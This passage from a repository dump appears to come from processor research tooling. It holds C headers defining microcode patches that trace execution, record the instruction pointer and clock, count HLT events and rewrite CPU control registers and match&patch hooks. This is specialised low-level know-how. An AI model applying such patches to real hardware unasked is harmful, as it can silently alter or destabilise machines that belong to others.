do_backtrace(arguments.bt_uaddr, arguments.bt_reg + 0x30); 330 | } 331 | 332 | return 0; 333 | } 334 | -------------------------------------------------------------------------------- /tools/main/ucode/backtrace0.h: -------------------------------------------------------------------------------- 1 | ucode_t ucode_patch[] = { 2 | { // 0x0 3 | MOVEFROMCREG_DSZ64_DI(testreg, CORE_CR_CUR_UIP), 4 | UJMP_I(addr+0xd), 5 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(testreg, 0xba40), 6 | SEQ_GOTO0(addr+0x2) | SEQ_NOSYNC 7 | }, 8 | { // 0x4 9 | ZEROEXT_DSZ32_DI(testreg, 0xdead), 10 | CONCAT_DSZ16_DRR(testreg, testreg, testreg), 11 | CONCAT_DSZ32_DRR(testreg, testreg, testreg), 12 | NOP_SEQWORD 13 | }, 14 | { // 0x8 15 | XOR_DSZ64_DRR(testreg, testreg, RAX), 16 | UJMPCC_DIRECT_NOTTAKEN_CONDNZ_RI(testreg, addr+0xc), 17 | LDSTGBUF_DSZ64_ASZ16_SC1_DI(RAX, 0xba40), 18 | END_SEQWORD 19 | }, 20 | { // 0xc 21 | uop0, uop1, uop2, seqw 22 | }, 23 | { // 0x10 24 | UJMP_I(aligned_hook_address+4), UJMP_I(aligned_hook_address+5), UJMP_I(aligned_hook_address+6), SEQ_UEND0(2) | SEQ_NEXT | SEQ_NOSYNC 25 | } 26 | }; -------------------------------------------------------------------------------- /tools/main/ucode/backtrace1.h: -------------------------------------------------------------------------------- 1 | ucode_t ucode_patch[] = { 2 | { // 0x0 3 | UJMP_I(addr+0xc), 4 | MOVEFROMCREG_DSZ64_DI(testreg, CORE_CR_CUR_UIP), 5 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(testreg, 0xba40), 6 | NOP_SEQWORD 7 | }, 8 | { // 0x4 9 | ZEROEXT_DSZ32_DI(testreg, 0xdead), 10 | CONCAT_DSZ16_DRR(testreg, testreg, testreg), 11 | CONCAT_DSZ32_DRR(testreg, testreg, testreg), 12 | NOP_SEQWORD 13 | }, 14 | { // 0x8 15 | XOR_DSZ64_DRR(testreg, testreg, RAX), 16 | UJMPCC_DIRECT_NOTTAKEN_CONDNZ_RI(testreg, addr+0xd), 17 | LDSTGBUF_DSZ64_ASZ16_SC1_DI(RAX, 0xba40), 18 | END_SEQWORD 19 | }, 20 | { // 0xc 21 | uop0, uop1, uop2, seqw 22 | }, 23 | { // 0x10 24 | UJMP_I(aligned_hook_address+4), UJMP_I(aligned_hook_address+5), UJMP_I(aligned_hook_address+6), SEQ_UEND0(2) | SEQ_NEXT | SEQ_NOSYNC 25 | } 26 | }; -------------------------------------------------------------------------------- /tools/main/ucode/backtrace2.h: -------------------------------------------------------------------------------- 1 | ucode_t ucode_patch[] = { 2 | { // 0x0 3 | MOVEFROMCREG_DSZ64_DI(testreg, CORE_CR_CUR_UIP), 4 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(testreg, 0xba40), 5 | NOP, 6 | NOP_SEQWORD 7 | }, 8 | { // 0x4 9 | ZEROEXT_DSZ32_DI(testreg, 0xdead), 10 | CONCAT_DSZ16_DRR(testreg, testreg, testreg), 11 | CONCAT_DSZ32_DRR(testreg, testreg, testreg), 12 | NOP_SEQWORD 13 | }, 14 | { // 0x8 15 | XOR_DSZ64_DRR(testreg, testreg, RAX), 16 | UJMPCC_DIRECT_NOTTAKEN_CONDNZ_RI(testreg, addr+0xe), 17 | LDSTGBUF_DSZ64_ASZ16_SC1_DI(RAX, 0xba40), 18 | END_SEQWORD 19 | }, 20 | { // 0xc 21 | uop0, uop1, uop2, seqw 22 | }, 23 | { // 0x10 24 | UJMP_I(aligned_hook_address+4), UJMP_I(aligned_hook_address+5), UJMP_I(aligned_hook_address+6), SEQ_UEND0(2) | SEQ_NEXT | SEQ_NOSYNC 25 | } 26 | }; -------------------------------------------------------------------------------- /tools/main/ucode/hlt.h: -------------------------------------------------------------------------------- 1 | unsigned long addr = 0x7d00; 2 | unsigned long hook_address = 0x07c8; 3 | ucode_t ucode_patch[] = { 4 | { //0x7d00 5 | READURAM_DI(TMP0, 0x28), 6 | ADD_DSZ64_DRI(TMP0, TMP0, 0x1), 7 | WRITEURAM_RI(TMP0, 0x28), 8 | END_SEQWORD 9 | }, 10 | }; -------------------------------------------------------------------------------- /tools/main/ucode/trace.h: -------------------------------------------------------------------------------- 1 | unsigned long addr = 0x7c10; 2 | ucode_t ucode_patch[] = { 3 | { // 0x7c10 4 | // 1) save all the registers to restore them 5 | // NOTICE: assume no one else uses [0xba00, 0xbb00] in the staging buffer 6 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(R10, 0xba40), 7 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(R11, 0xba80), 8 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(R12, 0xbac0), 9 | NOP_SEQWORD 10 | }, 11 | { // 0x7c14 12 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(R13, 0xbb00), 13 | // 2) remove the hook in the match&patch assuming it is at 0 14 | ZEROEXT_DSZ32_DI(R10, 0x0), 15 | // pause frontend 16 | MOVEFROMCREG_DSZ64_DI(R12, 0x38c), 17 | NOP_SEQWORD 18 | }, 19 | { // 0x7c18 20 | MOVETOCREG_DSZ64_RI(R10, 0x38c), 21 | // write match&patch at location 0 with the value of 0 22 | ZEROEXT_DSZ32_DI(R13, 0x303), 23 | SHL_DSZ32_DRI(R13, R13, 0x8), 24 | NOP_SEQWORD 25 | }, 26 | { // 0x7c20 27 | MOVETOCREG_DSZ64_RI(R13, 0x6a1), 28 | MOVETOCREG_DSZ64_RI(R10, 0x6a0), 29 | MOVETOCREG_DSZ64_RI(R10, 0x6a4), 30 | NOP_SEQWORD 31 | }, 32 | { // 0x7c24 33 | MOVETOCREG_DSZ64_RI(R10, 0x6a4), 34 | MOVETOCREG_DSZ64_RI(R10, 0x6a1), 35 | // restore frontend 36 | MOVETOCREG_DSZ64_RI(R12, 0x38c), 37 | NOP_SEQWORD 38 | }, 39 | { // 0x7c28 40 | // save RIP 41 | MOVEFROMCREG_DSZ64_DI(R10, CORE_CR_CUR_RIP), 42 | WRITEURAM_RI(R10, 0x69), 43 | // write clock value to tracing location 44 | MOVEFROMCREG_DSZ64_DI(R10, 0x2d7) | MOD1, 45 | NOP_SEQWORD 46 | }, 47 | { // 0x7c2c 48 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(R10, 0xba00), 49 | LDSTGBUF_DSZ64_ASZ16_SC1_DI(R10, 0xba40), 50 | LDSTGBUF_DSZ64_ASZ16_SC1_DI(R11, 0xba80), 51 | NOP_SEQWORD 52 | }, 53 | { // 0x7c30 54 | LDSTGBUF_DSZ64_ASZ16_SC1_DI(R12, 0xbac0), 55 | LDSTGBUF_DSZ64_ASZ16_SC1_DI(R13, 0xbb00), 56 | UJMP_I(tracing_addr), 57 | NOP_SEQWORD 58 | } 59 | }; 60 | --------------------------------------------------------------------------------